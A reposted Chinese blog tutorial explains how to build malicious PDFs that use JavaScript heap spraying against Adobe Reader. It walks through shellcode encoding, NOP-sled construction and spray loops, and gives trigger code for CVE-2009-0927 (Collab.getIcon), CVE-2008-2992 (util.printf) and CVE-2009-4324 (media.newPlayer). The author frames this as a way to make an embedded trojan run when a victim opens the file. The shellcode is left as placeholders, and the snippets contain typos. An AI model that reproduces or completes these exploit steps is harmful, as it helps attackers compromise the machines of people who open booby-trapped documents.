利用pdf的js函数漏洞构造堆喷射的攻击思路

来源:互联网 发布:数据信息安全心得体会 编辑:程序博客网 时间:2024/04/30 14:51

利用pdf的js函数漏洞构造堆喷射的攻击思路

        首先声明一下,本人对于漏洞这块也是小菜鸟一个,没研究多久,自己对于漏洞的一些理解也不是很全面。但是研究了一些CVE的分析后,有点收获,所以写了此文章分享自己的思路,也没保证完全是正确的,所以希望大家看后有什么意见可以和我交流,咱们一些学习嘛。

最近研究了下PDF文件的漏洞,有点小发现,所以就整理了一下自己的思路。

经过这几天的研究,发现PDF大多数漏洞是出在Acrobat 和Reader中的字符解析器和Javascript引擎中。主要是PDF文件的内容主要是放在某个对象的流中,如果我们没有安装Acrobat 或Reader,直接用一般的文本阅读工具打开,看到的是一堆乱码。而Acrobat 和Reader之所以能把这些乱码变成我们看的懂的文本,主要是依靠这两个程序内置的字符解析器,一般要解析必须用到Acrobat 和Reader的一些动态链接库,在调用动态链接库的函数时,只要某个函数存在着溢出,这很可能就是一个可利用的漏洞。这个就不深入讲了,再讲要讲一大堆,而且在下也不是完全理解透,不敢乱讲。第二种呢就是本文要讲的Javascript引擎中所存在的漏洞。讲前要先说明几点:

1、首先第一点,PDF文件支持内嵌JS代码,但是JS与底层操作系统交互能力有限,所以PDF文档中的JS不能够访问任何文件。

2、为了能够让我们嵌入的JS代码能够去执行我们绑定的木马,我们必须利用某种安全漏洞才能摆脱JS引擎的限制来执行任意代码。

3、一般的js攻击代码都会利用到某个已经被发现存在溢出的函数,通过给该函数传入特制的参数使之溢出,改变了函数的返回地址,从而运行该函数后使程序去执行内存中某段内存的代码,但是,js无法影响到自身代码中未使用到的内存,在调用该函数前,我们嵌入的代码一般会通过定义很多字符串变量进行堆喷射操作,确保我们要跳转的地址已经被我们定义的变量所使用,我们才能访问它。定义变量时,我们通常把我们写好的shellcode用unicode的形式加入到变量里面,但是这样不能保证跳到的那个内存地址是我们shellcode的开始,所以一般会在我们写好的shellcode前面见了一大堆空操作,即nop(%u9090)。当函数返回时,返回到我们构造的堆喷射区域,只要击中任意一块NOP区,我们的嵌入的代码就可以执行了。

看完上面大家应该就初步了解了思路了吧。如果不懂继续往下看。懂的话看不看随你了,下面只是一些代码框架,如果你了解原理,完全可以自己尝试写代码去实现。

看了不少利用PDF内嵌JS进行攻击的方法,总结出一个思路(大多数漏洞都是这种模式):

(1)varshellcode=unescape(“%uABCD……”);

//第一步先把我们写好的代码转换成unicode的形式,然后放到一个变量里面保存起来。如果要绑定文件的可以另外定义一个变量,同样把我们要绑定的文件转换成unicode,放到另外一个变量。

(2)varnop=unescape(%u9090%9090);

//第二步一般会定义一个用于存放nop的变量,看了几个POC,基本都是先放了四个nop,也就是32位,刚开始想想应该是放几位都可以,后面觉得如果这段代码利用的栈溢出的漏洞的话,不放四个可能会造成错位,可能因为这个原因,所以基本都放了四个nop了。

在执行第三步前,可以在我们内嵌的代码前再加入一些空操作(%u9090),不过个人觉得必要性不是很大,因为我们第三步即将构造的NOP块已经够大的了。但是不少都加了,所以我在分析第三步就以加入一个字节长度的NOP好了。所以只要加几句代码就OK。利用我们上面定义的nop:

while(nop.length<0x100)

{

    nop+=nop;      //把nop弄大,长度为0x100

}

       shellcode=nop+shellcode;  //如果有绑定文件,就在后面加上绑定文件所存放的字符串变量就好了。

好了,第三步吧。

(3)第三步我们要构造一个长度跟上面的shellcode长度一样的NOP块:

     var headersize=16;                // headersize的值是根据上面你给你的shellcode前加了多长的NOP。0x100十进制是256,也就是2^16,所以长度就是16。

varnopsize=headersize+shellcode.length;   //nop块长度。

While(nop.length<nopsize)

{

   nop+=nop;                         //使得NOP的长度大于或等于前面的shellcode长度。

}

snop=nop.substring(0,nopsize);           //截取一个跟我们上一步构造的shellcode长度一样的nop块。

lnop=nop.substring(0,nop.length-nopsize);  //截取多出nopsize的nop块。

while(nopsize+lnop.length<0x30000)

lnop=lnop+lnop+snop;   //while里面的范围可以自己定,但是建议不要定的太大,太大的话,点击运行该pdf文件就要卡死了,适度就好。

}

第三步就到这里了,总之归根到底第三部就是构造一个很大的NOP块,代码只是参考,还可以更精简。

(4)第四步就要把进行堆喷射了,我们前几部也都是在为堆喷射做准备。

memory=new array();   //建立一个新数组。

for(i=0;i<1024:i++)

{

    Memory[i]=lnop+shellcode; 

}

这几句是关键了,给定义的数组的每项赋予我们这前构造的lnop和shellcode,总长度为1024*(30000+nopsize),这就形成了堆喷射了,i小于的值也是自己定的,跟上面while里面的长度一样,不要太大,不然两个太大的数相乘,搞不好就把内存搞奔溃了。

到了这一步,我们已经完成了堆喷射,已经为漏洞的利用铺好了路,后面就是结合具体的漏洞具体再操作了。所以第五步举几个例子描述一下怎么操作。

(5)例子一(CVE-2009-0927):

这个漏洞是利用app.doc.Collab.getIcon()这个函数的溢出。如果给这个函数传入一个我们特制的超长文件名,就会发生栈的溢出。我们传入的文件名因为过长,产生了溢出,覆盖了函数的返回地址,结果函数返回时不会正常返回,而是返回到参数中覆盖返回地址的那部分所指向的地址,这个时候就极大地可能是落在我们之前所够构造的堆喷射的区域里面,只要击中了任意一个NOP区域,我们植入的代码就能够执行了。

代码:

var buffer=unescape(“%xx%xx%xx%xx”);  //这个可以自己任意顶一个,后面调试程序的时候自己再修改。不过最好定位4byte,因为栈的基本操作时四字节,所以为了让覆盖到站里面的数据比较有规律,最好这样定义。

 

while(buffer.length<0x5000)

{

    buffer+=buffer;                   //构造缓冲区。

}

app.doc.Collab.getIcon(buffer+”此处为标识符,具体内容可以自己定”);

 

(5)例子二(CVE-2008-2992):

这个例子主要利用JS里面的util.printf(),这个函数同样是利用调用函数前,在入栈操作时往栈里面压入一个特质的长参数,使得栈溢出,从而执行我们的代码,原理和例子一差不多,只是利用的函数漏洞不同而已。

代码:

var number=”参数自己定”;

util.printf(%45000f,number);

例子三(CVE 2009-4324):

这个例子是绑定了一个计算器的POC,运行PDF的时候,计算器自动被运行了。

主要造成漏洞的原因是reader里面的JS引擎在执行JS 代码中执行到doc.media.newplayer()函数时,当他的参数出现null异常时,程序指向到一段之前释放的内存。这个也是可以靠堆喷射把我们的代码植入到内存中 ,使程序跳到我们植入的代码并执行。

代码:

util.printd("1.345678901.345678901.3456 :1.31.34", new Date());

util.printd("1.345678901.345678901.3456 :1.31.34", new Date());

try {this.media.newPlayer(null);} catch(e) {}

util.printd("1.345678901.345678901.3456 :1.31.34", new Date());

 

总之对于这种利用利用栈溢出的漏洞,基本思路是给函数调用时传入一个特制的超长参数,使它溢出,从而覆盖了函数返回地址,使程序去执行前面已经植入到内存的代码。不同的函数漏洞,需要运用到不同的方法,这里讲的只是一种比较常用的堆喷射方法。

除了所讲的例子外还有很多其他的例子,已被发现有漏洞的函数有pdc_fsearch_fopen(),PDF_load_image()等等,有兴趣的话,多研究几个CVE的POC,只要基本思路掌握了,自己再利用一些反汇编工具调试一下,就基本能搞懂漏洞的利用原理了。利用堆喷射的方法虽然常用,但是有个缺点,就是打开已经exploit的pdf时反应太慢了,有时写的JS没弄好,电脑就卡死了。所以运用堆喷射要经过对程序的仔细调试,才能避免内存奔溃的后果。

其实adobe公司出的几款文本阅读软件都未能很好地处理PDF文档里面的JS代码,很多解析函数都存在着漏洞,补了一个又来一个。除了JS方面的漏洞外,还有另外一种是整数溢出类型的,也是造成了不少漏洞,所以adobe才会被人称为漏洞之王,这几年它的文档软件更是超过了微软的OFFICE系列,称为了最受黑客“欢迎”的软件。

       好了,有什么问题欢迎交流,邮箱是hqucth@gmail.com

 

原创粉丝点击